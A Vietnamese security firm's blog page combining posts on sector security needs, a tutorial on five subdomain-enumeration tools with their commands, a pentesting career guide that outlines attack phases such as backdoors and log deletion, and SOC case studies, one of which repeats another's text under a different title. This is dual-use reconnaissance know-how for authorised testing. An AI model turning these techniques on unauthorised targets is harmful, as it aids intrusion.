Trong tháng 10/2022, thông qua kết nối chia sẻ dữ liệu giám sát từ 87 đơn vị, Hệ thống kỹ thuật của Trung tâm Giám sát an toàn không gian mạng quốc gia ghi nhận 66/87 đơn vị có kết nối chia sẻ dữ liệu tương đối đầy đủ, 21/87 đơn vị bị mất kết nối chia sẻ dữ liệu.

Nguồn: VnEconomy

Đánh giá bảo mật cần thiết cho những doanh nghiệp nào

VSEC - BLOG Dành cho Chuyên gia kiểm thử
Bước chân vào kỷ nguyên số, mối quan tâm hàng đầu của doanh nghiệp chính là bảo mật thông tin. Có thể nói, đánh giá bảo mật là việc quan trọng hàng đầu mà mọi doanh nghiệp muốn chuyển đổi số đều cần thực hiện, đặc biệt là các ngành hàng có giá trị cao, tốc độ tăng trưởng vượt trội và sở hữu số lượng dữ liệu thông tin khách hàng lớn.
Tiêu biểu là các doanh nghiệp thuộc 4 lĩnh vực sau:

Khối Tài chính – Ngân hàng

Năm 2020, có tới 23% các cuộc tấn công trên thế giới nhắm vào các tổ chức thuộc khối Tài chính – Ngân hàng (tăng 6% so với thống kê của NTT năm 2018). Các tổ chức này có xu hướng phát triển nhanh mạnh. Thế nhưng việc đầu tư để đảm bảo an toàn cho hệ thống cũng như các ứng dụng CNTT chưa tương xứng với tốc độ phát triển. Đặc biệt là mảng Fintech, lĩnh vực đang có tốc độ tăng trưởng vượt trội, sở hữu số lượng dữ liệu thông tin khách hàng lớn. Việc bị tấn công mạng sẽ gây ảnh hưởng nghiêm trọng tới hình ảnh, thương hiệu của tổ chức, doanh nghiệp – yếu tố quan trọng trong việc kinh doanh tài chính.

 

Khối Năng lượng – Sản Xuất

Gần 50% số lượng các cuộc tấn công trong năm 2020 liên quan tới việc chiếm quyền kiểm soát hệ thống vận hành công nghiệp OT đối với các đơn vị trong ngành năng lượng và ngành công nghiệp sản xuất. Đảm bảo an ninh năng lượng luôn là yêu cầu then chốt của mỗi chế độ nhà nước. Việc các đơn vị này bị tấn công hệ thống CNTT có thể dẫn những bất ổn cho an ninh quốc gia bởi sự ngưng trệ trong cung cấp năng lượng phục vụ đất nước.

 

Khối cơ quan tổ chức nhà nước

Đây là ngành có hiệu suất cập nhật công nghệ cao, sở hữu nhiều loại thiết bị và ứng dụng đa dạng về nghiệp vụ. Ngoài ra, số lượng thông tin khách hàng được lưu trữ và luân chuyển trong ngành này cũng là một con số đáng lưu ý. Đây là đối tượng mà hầu hết các tin tặc nhắm tới trong việc khai thác dữ liệu với mục đích phát tán, kinh doanh gây ảnh hưởng đến kinh tế và hình ảnh thương hiệu của doanh nghiệp.

 

Khối Thương mại – Dịch vụ

Với nhu cầu chuyển đổi số mạnh mẽ ở Việt Nam, các cơ quan nhà nước cũng chuyển dần sang mô hình chính quyền số – chính phủ điện tử. Đây là mục tiêu của những kẻ tấn công nhằm khai thác những thông tin nhạy cảm, thay đổi hay đăng tải các nội dung độc hại, làm tê liệt dịch vụ phục vụ nhân dân, gây thiệt hại về kinh tế, ảnh hưởng chính trị và an ninh quốc gia.

VSEC cung cấp dịch vụ đánh giá an toàn thông tin bao gồm đánh giá công nghệ, môi trường và con người. Với sự tham gia của những chuyên gia IT hàng đầu, VSEC sẽ giúp doanh nghiệp phát hiện ra những lỗi bảo mật dù nhỏ nhất, từ đó đưa ra tư vấn cũng như trực tiếp triển khai các biện pháp để nâng cao hệ thống bảo mật cho doanh nghiệp.

5 công cụ tìm kiếm subdomain để trợ giúp trong quá trình kiểm thử xâm nhập

VSEC - BLOG Dành cho Chuyên gia kiểm thử

Trong những năm gần đây việc tìm kiếm các subdomain (tên miền phụ) đã trở thành công việc quan trọng trong quá trình kiểm thử an toàn. Thông thường công việc này sẽ tốn khá nhiều thời gian và công sức. Tuy nhiên, cùng với sự phát triển của nền tảng công nghệ số đã cung cấp cho chúng ta các công cụ hữu hiệu. Bài viết này sẽ khái quát 5 công cụ tìm kiếm subdomain để trợ giúp trong quá trình kiểm thử xâm nhập.

Những phương pháp nổi bật trong việc tìm kiếm subdomain

Việc tìm kiếm subdomain giúp ích trong việc phân tích cơ sở hạ tầng tên miền của bất kỳ công ty nào. Chúng ta hãy cùng tìm hiểu những cách sử dụng phổ biến nhất hiện nay của các công cụ này là gì.

Kiểm tra DNS

Các cuộc tấn công DNS xảy ra ngày càng nhiều hơn, tuy nhiên các công ty vẫn chưa ý thức được sự nguy hiểm này. Rất ít các công ty thực hiện công việc kiểm tra DNS một cách thường xuyên mặc dù nó đem lại nhiều lợi ích hơn là có hại. Việc thực hiện kiểm tra DNS có thể tìm ra các lỗ hổng về DNS, cập nhật và vá chúng. Ngoài ra còn có thể tìm các subdomain không sử dụng, hoặc các subdomain chứa các lỗ hổng tiềm tàng.

Thông tin về tên miền.

Red teams thường sử dụng các công cụ tìm kiếm subdomain phục vụ cho các công việc điều tra infosec, thường bao gồm cả những kỹ thuật về OSINT. Các công cụ này phát hiện các thông tin bị lộ ra ngoài public như thông tin về người dùng, ứng dụng hay về các công nghệ đang được sử dụng trong hệ thống.

Rà soát lỗ hổng bảo mật

Một danh sách chứa đầy đủ các tên miền cùng với các tên miền phụ có thể mang lại nhiều lợi ích cho công việc rà soát lỗ hổng.

 

Cách hoạt động của công cụ tìm kiếm subdomain   

Sử dụng các công cụ tìm kiếm

Ta có thể sử dụng google để tìm kiếm các tên miền phụ của bất kỳ tên miền nào. Chỉ cần sử dụng dòng lệnh đơn giản như dưới đây:

site:vsec.com.vn -www

Câu lệnh trên có thể trả về toàn bộ các tên miền được Google đánh chỉ mục.

Phần lớn các công cụ hiện nay đều sử dụng các công cụ như Google, Bing như một built-in modules để trợ giúp trong việc tìm kiếm.

Sử dụng phương pháp bruteforce

Một vài công cụ sử dụng phương pháp này để gia tăng kết quả tìm kiếm được. Đây có thể không phải là cách nhanh nhất để tìm kiếm nhưng có thể nói rằng đây là cách chính xác nhất.

Thông tin về TLS/SSL

Chứng chỉ SSL / TLS không chỉ hữu ích để mã hóa dữ liệu được gửi và nhận giữa các trình duyệt và máy chủ mà còn hữu ích cho người kiểm thử

Subject Alternate Name (SAN) của chứng chỉ SSL / TLS có thể được sử dụng để lấy các thông tin về miền và tên miền phụ.

 

Top 5 công cụ tìm kiếm subdomain (terminal-based)

  1. AMASS

Được phát triển trên nền tảng Go lang, đây là một trong những công cụ hiệu quả nhất trong việc tìm kiếm số lượng lớn subdomain.

Amass sử dụng nhiều kỹ thuật tìm kiếm subdomain như scrapping, recursive bruteforce, reverse DNS sweeping và Machine Learning để có được kết quả tốt nhất.

Việc cài đặt Amass cũng khá đơn giản. Các hướng dẫn cài đặt và sử dụng đều có trên trang github: https://github.com/OWASP/Amass

Hoặc có thể cài đặt thông qua snap (có trên Kali Linux và các Linux Distros khác) thông qua lệnh: snap install amass

Sau khi cài đặt xong ta có thể sử dụng câu lệnh cơ bản dưới đây để tìm kiếm subdomain: amass enum -d example.com

Kết quả:

Hướng dẫn sử dụng: https://github.com/OWASP/Amass/blob/master/doc/user_guide.md

 

  1. SubBrute

Đây là một trong những công cụ có tốc độ nhanh nhất trong việc tìm kiếm subdomain. Một trong những tính năng nổi bật nhất chính là khả năng che giấu việc dò quét subdomain của công cụ này thông qua việc sử dụng các open resolvers làm proxy.

Công cụ này cũng có thể hoạt động như một DNS spider, liên tục liệt kê các bản ghi DNS.

SubBrute hỗ trợ lọc các bản ghi DNS. Ví dụ: nếu bạn chỉ cần lấy bản ghi TXT từ bất kỳ tên miền nhất định nào, bạn có thể sử dụng tùy chọn –type: ./subbrute.py -s google.names google.com –type TXT

Một điều tuyệt vời khác về SubBrute là nó có thể được tích hợp vào các file script bằng cách sử dụng hàm subbrute.run(). Ví dụ:

import subbrute

for d in subbrute.run (“yahoo.com”):

print(d)

Để sử dụng nâng cao, chỉ cần chạy: ./subbrute -h

 

  1. Sublist3r

Sublist3r là một công cụ dựa trên Python. Công cụ này được sử dụng rộng rãi bởi những người săn tiền thưởng lỗi, cũng như các đội màu xanh và đỏ trên toàn cầu để thu thập dữ liệu miền phụ.

Bằng cách truy vấn các công cụ tìm kiếm như Bing, Yahoo, Google, Baidu và các nguồn bên thứ 3 khác như cơ sở dữ liệu subdomain của Netcraft hoặc VirusTotal, nó có thể là một trong những công cụ hiệu quả nhất và nhanh nhất khi bạn muốn tìm tên miền phụ.

Yêu cầu tối thiểu của Sublist3r là phiên bản Python2 hoặc Python3.

Phiên bản Python 2: 2.7.x

Phiên bản Python 3: 3.4.x

Để bắt đầu, bạn cần sao chép repo Git, sau đó chạy cài đặt cho một số dependencies bằng pip: pip install -r request.txt

Hiện tại bạn đã có thể thực hiện các tác vụ tìm kiếm tên miền phụ: ./sublist3r.py -d example.com

Kết quả trả về:

Github: https://github.com/aboul3la/Sublist3r

 

4.DNSRecon

DNSRecon là một trong những script được viết bằng Python nổi tiếng trong các công cụ tìm kiếm subdomain

Nó hoạt động bằng cách kiểm tra tất cả các bản ghi NS để chuyển vùng AXFR và có thể rất hữu ích trong việc liệt kê DNS cho hầu hết mọi loại bản ghi, bao gồm MX, SOA, NS, TXT, SPF và SRV.

Nó cũng hỗ trợ kiểm tra Wildcard resolution và bruteforce các bản ghi loại A và AAAA sử dụng wordlist có sẵn. Nó cũng có thể truy vấn Google dorks để tìm miền phụ được lập chỉ mục bởi GoogleBot.

Sau khi tải xuống DNSRecon, bạn sẽ cần cài đặt một số package bắt buộc với pip:

pip install -r request.txt

Sau đó, bạn đã sẵn sàng chạy công cụ này: ./dnsrecon.py -d example.com

Kết quả:

Github: https://github.com/darkoperator/dnsrecon

 

5.AltDNS

AltDNS là một công cụ khám phá tên miền phụ dựa trên công việc với các thay đổi và hoán vị.

Bằng cách đặt wordlist của riêng bạn (hoặc sử dụng wordlist mặc định tại altdns/words.txt), cũng như sử dụng danh sách các miền phụ đã được xác nhận, bạn có thể chạy script để tạo ra các từ có thể có trong tên miền.

AltDNS bao gồm một tập dữ liệu gồm hơn 200 miền phụ có thể được sử dụng để tạo ra các miền phụ hợp lệ.

Sau khi clone git về, cài đặt các package yêu cầu thông qua pip:

pip install -r request.txt

Sau đó, bạn có thể chạy AltDNS:

./altdns.py -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt

Lưu ý: subdomains.txt là danh sách miền phụ và words.txt là wordlist của AltDNS.

Kết quả

Con đường từ số 0 đến một pentester có tay nghề (Phần 1)

VSEC - BLOG Dành cho Chuyên gia kiểm thử

Có lẽ chủ đề này là chủ để mình khá ấn tượng và cũng là tháng 10, tháng mình cảm thấy ấm áp và nhiều hoài bão.

Đây là bài chia sẻ từ chính cá nhân mình và quan điểm cũng vậy nên nếu có ý kiến khác có thể gửi e-mail trao đổi nhé!

Mình xuất phát là dân CNTT, nhưng đam mê bảo mật.Trước mình là dân lập trình chính hiệu và có lẽ bạn thân mình và thầy giáo ở Bách Khoa Hà Nội đã thôi thúc mình tìm đến con đường này. Mình không biết gì về bảo mật, điều này là thật luôn. Thế là hồi năm ba đại học, ngành mình yêu cầu tham gia doanh nghiệp để thực tập thì được vào công ty của cô giáo hướng dẫn. Công ty này cũng làm về an toàn thông tin, nhưng 3 tháng ngắn ngủi thì mình chỉ học các thứ cơ bản của người hướng dẫn là DVWA (Damn Vulnerable Web App) để học và tấn công. Có lẽ là duyên nên giám đốc công ty cho mình đi làm thực tế để trải nghiệm. Ở đó, mình được làm quen với SIEM, tức là quản lý sự kiện bằng QRADAR, … cho một ngân hàng. Hằng ngày thì đến kiểm tra sự kiện, thấy bất thường thì gửi email cho cấp trên. Có lẽ hơi nhàm chán. Mình quyết định nghỉ việc, thực ra đúng là hết thời gian thực tập nên mình xin nghỉ. Thấy cũng là lúc cần học hỏi và trải nghiệm thực tế hơn nữa nên mình quyết tâm theo đuổi an toàn thông tin mà chả hiểu an toàn thông tin là làm gì?

 

Sau khi đọc và nghiên cứu thì mình thấy CNTT đã rộng, an toàn thông tin tuy hẹp hơn những cũng khá rộng. An toàn thông tin thì cũng chia làm nhiều mảng và khi mình đi xin thực tập tại công ty nơi mình đang làm thì được định hướng về pentest (Kiểm thử xâm nhập), sâu hơn là pentest website.

 

Trước hết thì cần hiểu pentest là gì đã? Pentest là viết tắt của Penetration Testing hiểu là “Đánh giá độ an toàn bằng cách mô phỏng tấn công vào hệ thống khi được cấp phép”. Đơn giản hơn là những pentester là có thể coi là những hacker mặc áo đen, đeo mặt nạ tấn công vào hệ thống. Có vẻ nói như này sẽ dễ hình dung hơn. Theo mình tìm hiểu thì pentest chia làm 3 lĩnh vực là :

  • Đánh giá cơ sở hạ tầng mạng: cấu trúc mạng,chính sách(Firewall),ghi log,VPN,Router,Switch,..
  • Đánh giá hệ thống máy chủ: cấu hình, cập nhật dịch vụ,vá lỗi, chính sách tài khoản và mật khẩu, chính sách ghi nhật ký, rà soát cấp quyền, khả năng dự phòng, cân bằng tải, cơ sở dữ liệu phân tán.
  • Đánh giá ứng dụng web: đánh giá các lỗ hổng như lỗi tràn bộ đệm, tấn công chèn câu lệnh SQL, XSS,… đánh giá kiểm tra mã nguồn web nhằm xác định các vấn đề về xác thực, cấp quyền, xác minh dữ liệu, quản lý phiên, mã hóa. – Cá nhân mình thấy nên để là Đánh giá ứng dụng nói chung là hợp lý vì ngoài web, còn các ứng dụng khác như mobile,…

 

Có 2 khái niệm mà có thể nhiều người vẫn hay nhầm lẫn là Lỗ hổng và Nguy cơ, mình xin chia sẻ luôn là :

  • Lỗ hổng-Vulnerability là những điểm yếu trong hệ thống có thể bị khai thác, lợi dụng để gây tổn hại cho hệ thống.
  • Nguy cơ-Threat là các hành vi tiềm ẩn khả năng gây hại cho hệ thống.

Vậy có những loại pentest nào?

  • Pentest hộp đen(Black box) :  Đây là kiểu đánh giá từ bên ngoài vào, không được cung cấp thông tin gì ngoài những thứ đã được công khai. Đây là kiểu tấn công phổ biến nhất.
  • Pentest hộp xám(Gray box): Sẽ được cung cấp một phần hoặc biết hạn chế thông tin về bên trong hệ thống
  • Pentest hộp trắng(White box): Đánh giá từ bên trong ra, được cung cấp toàn diện: Cung cấp toàn bộ thông tin về hệ thống/mạng như:Hạ tầng mạng,source code,chi tiết về địa chỉ IP,OS, chính sách,…

Kế tiếp mình sẽ nói về quy trình thực hiện một cuộc tấn công sẽ diễn ra như thế nào? Quy trình diễn ra gồm 3 giai đoạn:

 

Chuẩn bị tấn công:

  • Thăm dò thông tin
  • Quét, rà soát hệ thống

Thực thi tấn công:

  • Giành quyền truy cập
  • Duy trì truy cập

Xóa dấu vết

Đi sâu hơn là:

Reconnaissance/Footprinting (Thăm dò thông tin)

  • Là các hành vi mà kẻ tấn công thực hiện nhằm thu thập thông tin về hệ thống: người dùng, khách hàng, các hoạt động nghiệp vụ, thông tin về tổ chức…
  • Có thể lặp đi lặp lại một cách định kỳ đến khi có cơ hội tấn công dễ dàng hơn
  • Thăm dò chủ động: có tương tác với mục tiêu
  • Thăm dò bị động: không có tương tác với mục tiêu: Social Engineering
  • Công cụ tìm kiếm:Google, Shodan, Censys
  • Thông tin từ mạng xã hội: FB,Tweetter, Linkedin
  • Thăm dò hệ thống email: whois/smartwhois, Email Extracter
  • Thăm dò kết nối mạng: traceroute
  • Thông tin về DNS: dnsenum/nslookup/dnswatch.info
  • File robots.txt : Đây là tệp dùng để … Google nhé :::
  • whatweb
  • dns-enum
  • the harvester: thu thập emails, names, subdomains, IPs, and URLs
  • email extracter

 

Scanning (Quét, rà soát hệ thống)

  • Quét rà soát để xác định các thông tin về hệ thống dựa trên các thông tin thu thập được từ quá trình thăm dò
  • Kẻ tấn công có cái nhìn chi tiết hơn và sâu hơn về hệ thống: các dịch vụ cung cấp, các cổng dịch vụ đang mở, địa chỉ IP, hệ điều hành và phần mềm…
  • Trích xuất thông tin từ giai đoạn này cho phép kẻ tấn công lên kế hoạch chi tiết để thực hiện tấn công

 

Gaining Access (Giành quyền truy cập)

  • Lúc này kẻ tấn công có được những thông tin đã thu thập và thực hiện tấn công vào hệ thống để lấy quyền truy cập như sử dụng các lỗ hổng ở web như SQLi, RCE,…

Maintaining Access(Duy trì truy cập)

  • Khi đã dành quyền truy cập, kẻ tấn công sẽ sử dụng các kỹ thuật để duy trì truy cập mà không cần phải tấn công lại như tạo back-door, mở kết nối mạng,…

Clearing Tracks (Xóa dấu vết)

  • Đây là bước quan trọng để xóa dấu vết của mình khi đã đột nhập vào hệ thống để không ai phát hiện, có thể nói là khi cơ quan điều tra tìm kiếm thì sẽ rất khó nhận dạng ra bạn là ai, đã làm gì trên hệ thống đó là xóa log được ghi trên hệ thống,…

 

Có vẻ khá nhiều lý thuyết đúng không nào, nhưng nó là cánh cửa để tham gia vào con đường pentester.

Trở lại cá nhân mình, trước hết là mình tìm hiểu kỹ những nội dung kể trên.

Tiếp theo là chọn con đường, mình chọn con đường là pentest Ứng dụng: Website và Mobile.

Phần này mình trình bày về con đường là đánh giá ứng dụng website.

Khi mình tham gia thực tập tại công ty, mình được học đầu tiên là tìm hiểu về mạng là mô hình tham chiếu OSI và TCP/IP, tìm hiểu về quá trình bắt tay ba bước TCP, sử dụng công cụ Wireshark, nmap, hping. Đây là bước làm quen về mạng.

Đi sâu hơn về website thì cần hiểu về công nghệ website, Client, Server, giao thức HTTP, URL,URI, các header trong giao thức HTTP và dùng để làm gì?

Cuốn sách mình làm quen đầu tiên là :

“The Web Application Hacker’s Handbook”.

Lý thuyết thì nên kết hợp thêm thực hành là tự tìm hiểu và cài đặt môi trường như DVWA, BWAPP(Cái này mình thấy hay và độ khó nhiều hơn DVWA),… Cứ chiến hết BWAPP là bạn đã có kiến thức nền rồi đó, vì BWAPP theo tiêu chuẩn đánh giá OWASP, cái tên nổi tiếng là OWASP Top Ten, cố gắng tìm hiểu kỹ về các lab này và luôn đặt câu hỏi tại sao để hiểu sâu hơn nhé!

Nếu bạn không muốn xây dựng lab thì có thể học hỏi ở đây, có lab và có hướng dẫn, mình thấy cũng rất hay:

https://portswigger.net/web-security

Sau khi đã đủ kiến thức nền thì bạn có thể tham các cuộc thì CTF để mở rộng kỹ năng.

Riêng cá nhân mình thì mình dường như không tham gia CTF mà mình chuyển thẳng luôn là tìm bug bounty. Đây là chương trình trả thưởng khi mình tìm ra lỗi và báo cáo với họ. Cái này quan trọng nhất là “tiền”- điều mà thôi thúc mình chiến đấu. Đúng vậy, khi động lực lên cao, bạn sẽ cố gắng  và chiến đấu sẽ hết mình. Khi mới tham gia chương trình này thì nên chọn các mục tiêu dễ để học hỏi dần. Như mình thì ở công ty có chương trình này ở dạng private để mọi người tham gia. Ngoài ra ở Việt Nam mình cũng có các chương trình công khai, các bạn có thể tự tìm hiểu nhé. Còn mở rộng ra thế giới, chương trình rất nổi tiếng là :

https://hackerone.com/

https://www.bugcrowd.com/

Và điều nữa là nếu các bạn đọc các blog thì mình thường nói về CVE đúng không nào? CVE có lẽ nó là điều quá xa xỉ với cá nhân trước kia, nhưng mình đã vượt qua bản thân, trau dồi kiến thức để tìm kiếm nó. Tìm kiếm các open source để tự cài đặt và chạy nó. Quan trọng nhất là lựa chọn ngôn ngữ mình yêu thích, cá nhân mình thì là PHP,… với các CMS như WordPress, Joomla!, Drupal,…

Ngoài CVE, bạn có thể học nâng cao lên để tìm kiếm cho mình các chứng chỉ như OSCP,OSCE,AWAE,… hoặc tìm hiểu về các chứng chỉ khác như GPEN,…

Còn một nguồn tài liệu quý giá trên github là:

https://github.com/swisskyrepo/PayloadsAllTheThings

Có thể của mình ::))

https://github.com/HoangKien1020/pentest

Triển khai giám sát An toàn thông tin cho tập đoàn đa quốc gia

VSEC - BLOG Nghiên cứu điển hình

Khách hàng là một doanh nghiệp FDI, chi nhánh tập đoàn đa quốc gia trong lĩnh vực lắp ráp và sản xuất xe máy, ô tô. Chiếm thị phần trong tốp đầu các doanh nghiệp kinh doanh xe máy, ô tô tại thị trường Việt Nam.

Chịu các quy định chung về ATTT của Tập đoàn mẹ. Đang sử dụng dịch vụ giám sát các mối đe dọa bên ngoài (lộ lọt dữ liệu, phishing web, …), giám sát danh tiếng của nhà cung cấp quốc tế với chi phí lớn. Đang xây dựng đội ngũ phụ trách ATTT bản địa nên cần sự hỗ trợ lớn từ đối tác.

Cung cấp dịch vụ giám sát các mối đe dọa bên ngoài (lộ lọt dữ liệu, phishing web, …), giám sát danh tiếng. Phối hợp, trao đổi với khách hàng để liên tục tối ưu quá trình giám sát.

VSEC SOC phát hiện và thông báo kịp thời cho khách hàng về các thông tin website giả mạo, các thông tin lộ lọt dữ liệu của khách hàng được công bố, rao bán trên các dark web, dark forum. Cung cấp dịch vụ với chi phí hợp lý và chất lượng tương đương với các nhà cung cấp quốc tế. Hỗ trợ đội ngũ bản địa trong quá trình đảm bảo ATTT cho doanh nghiệp.

Giám sát an toàn thông tin cho tập đoàn tiên phong về đô thị xanh

VSEC - BLOG Nghiên cứu điển hình

Khách hàng là một doanh nghiệp FDI, chi nhánh tập đoàn đa quốc gia trong lĩnh vực lắp ráp và sản xuất xe máy, ô tô. Chiếm thị phần trong tốp đầu các doanh nghiệp kinh doanh xe máy, ô tô tại thị trường Việt Nam.

Chịu các quy định chung về ATTT của Tập đoàn mẹ. Đang sử dụng dịch vụ giám sát các mối đe dọa bên ngoài (lộ lọt dữ liệu, phishing web, …), giám sát danh tiếng của nhà cung cấp quốc tế với chi phí lớn. Đang xây dựng đội ngũ phụ trách ATTT bản địa nên cần sự hỗ trợ lớn từ đối tác.

Cung cấp dịch vụ giám sát các mối đe dọa bên ngoài (lộ lọt dữ liệu, phishing web, …), giám sát danh tiếng. Phối hợp, trao đổi với khách hàng để liên tục tối ưu quá trình giám sát.

VSEC SOC phát hiện và thông báo kịp thời cho khách hàng về các thông tin website giả mạo, các thông tin lộ lọt dữ liệu của khách hàng được công bố, rao bán trên các dark web, dark forum. Cung cấp dịch vụ với chi phí hợp lý và chất lượng tương đương với các nhà cung cấp quốc tế. Hỗ trợ đội ngũ bản địa trong quá trình đảm bảo ATTT cho doanh nghiệp.

Giám sát ATTT cho cơ quan quản lý thông tin đơn vị tỉnh của nhà nước

VSEC - BLOG Nghiên cứu điển hình

Khách hàng là một cơ quan phụ trách quản lý hệ thống website đại diện cho tiếng nói của nhà nước, thông báo và định hướng thông tin trên phạm vi toàn tỉnh. Sở hữu hệ thống hơn 150 website luôn hoạt động 24/7.

Số lượng website cần giám sát lớn. Nghiệp vụ đa dạng. Hệ thống kết nối rộng. Lưu lượng truy cập lớn. Các thông tin hiển thị bắt buộc phải đảm bảo tính chính xác và toàn vẹn tuyệt đối.

Cung cấp dịch vụ giám sát ATTT 24×7 cho hệ thống website quan trọng, cài đặt giám sát downtime 24/7 toàn bộ website, rà soát lỗ hổng định kỳ đưa ra khuyến nghị và phối hợp khắc phục. Phối hợp với cán bộ cơ sở khắc phục các lỗ hổng được phát hiện.

Khách hàng nâng cao khả năng quản lý và giám sát an toàn thông tin cho hệ thống website quan trọng. Giảm thiểu chi phí nhân sự đầu tư cho đội ngũ IT security và toàn bộ hệ thống vẫn được đảm bảo giám sát 24/7. Giảm thời gian phản ứng với những sự cố xảy ra.